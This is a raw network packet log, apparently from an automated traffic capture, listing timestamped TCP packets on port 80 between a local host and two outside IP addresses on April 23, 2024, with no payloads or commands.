Apr 23, 2024 22:17:01.767995119 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.767999887 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.768013000 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.768023014 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.768030882 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.768043041 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.768049002 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.768066883 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.768074036 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.768084049 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.768098116 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.768125057 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.771083117 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.771105051 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.771121025 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.771136045 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.771147013 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.771162987 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.771171093 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.771202087 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774492025 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774519920 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774538040 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774555922 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774566889 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774569988 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774576902 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774590015 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774605036 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774610043 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774624109 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774626970 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774641991 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774646997 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774661064 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774672985 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774678946 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774688959 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774694920 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774712086 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774713039 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774728060 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774734974 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774744034 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774744987 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.774760962 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.774795055 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866291046 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866337061 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866357088 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866461992 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866497040 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866501093 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866519928 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866539001 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866548061 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866575956 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866591930 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866615057 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866622925 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866652012 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866660118 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866688013 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866694927 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866724968 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866733074 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866763115 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866765022 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866799116 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866808891 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.866837025 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.866849899 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.867001057 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.870331049 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.870379925 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.870429039 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.870467901 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.870479107 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.870505095 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.870513916 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.870542049 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.870552063 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.870579958 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.870589018 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.870621920 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989509106 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989567995 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989604950 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989655018 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989677906 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989686966 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989701033 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989701033 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989707947 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989727974 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989773989 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989777088 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989789963 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989814997 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989834070 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989851952 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989878893 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989886999 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.989922047 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.989931107 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.993591070 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993657112 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.993716955 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993750095 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993788004 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993789911 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.993789911 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.993824959 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993844986 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.993861914 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993871927 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.993951082 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993963957 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.993988037 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.993999004 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994021893 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994034052 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994059086 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994071007 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994092941 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994111061 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994128942 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994148016 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994165897 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994193077 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994199991 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994201899 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994237900 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994250059 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994271040 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.994283915 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.994317055 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.997848034 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.997886896 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.997920036 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.997940063 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.997950077 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.997956991 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.997972965 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.997996092 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998013020 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998034954 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998049974 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998069048 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998089075 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998106956 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998140097 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998142004 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998142004 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998178005 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998189926 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998217106 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998229027 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998251915 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998280048 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998286963 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998289108 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998325109 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998353004 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998358011 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998392105 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998397112 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:01.998424053 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:01.998445988 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001527071 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001607895 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001667976 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001705885 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001717091 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001744986 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001755953 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001784086 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001794100 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001822948 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001835108 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001862049 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001874924 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001898050 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001908064 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001936913 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001946926 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.001974106 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.001982927 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.002007961 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.002027988 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.002043962 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.002057076 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.002080917 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.002094030 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.002119064 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.002130032 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.002159119 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.002175093 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.002207041 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005091906 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005163908 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005305052 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005342007 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005357027 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005378962 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005399942 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005417109 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005433083 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005455971 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005474091 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005495071 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005503893 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005532980 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005552053 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005568981 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.005580902 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.005623102 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.030086040 CEST	49734	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.040781975 CEST	49735	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.179778099 CEST	80	49734	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.179897070 CEST	49734	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.180116892 CEST	49734	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.190758944 CEST	80	49735	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:02.190859079 CEST	49735	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.191037893 CEST	49735	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:02.213635921 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213682890 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213718891 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213728905 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213757992 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213778019 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213778019 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213800907 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213808060 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213838100 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213848114 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213876009 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213879108 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213908911 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213920116 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213946104 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213951111 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.213983059 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.213984013 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.214020014 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.214029074 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.214056969 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.214063883 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.214097023 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.214112997 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.214152098 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.214165926 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.214189053 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.214194059 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.214245081 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.217746019 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.217824936 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.217863083 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.217899084 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.217919111 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.217937946 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.217952967 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.217972040 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.217988968 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218010902 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218014956 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218046904 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218054056 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218080044 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218110085 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218116045 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218120098 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218152046 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218161106 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218189001 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218206882 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218225002 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218238115 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218261003 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218266964 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218297958 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.218307018 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.218346119 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.221815109 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.221868992 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.221868992 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.221919060 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.221945047 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.221982956 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.221998930 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222023010 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222033978 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222058058 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222081900 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222094059 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222098112 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222131014 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222137928 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222167969 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222181082 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222201109 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222213030 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222237110 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222240925 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222273111 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222279072 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222311020 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222322941 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222345114 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222354889 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222443104 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222470045 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222476959 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.222490072 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.222542048 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.225713015 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.225768089 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.225771904 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.225811005 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.225817919 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.225850105 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.225863934 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.225888014 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.225894928 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.225929022 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.225944996 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.225967884 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.225977898 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226010084 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.226018906 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226047993 CEST	80	49733	187.228.55.117	192.168.2.4
Apr 23, 2024 22:17:02.226059914 CEST	49733	80	192.168.2.4	187.228.55.117
Apr 23, 2024 22:17:02.226087093 CEST	80	49733	187.228.55.117	192.168.2.4
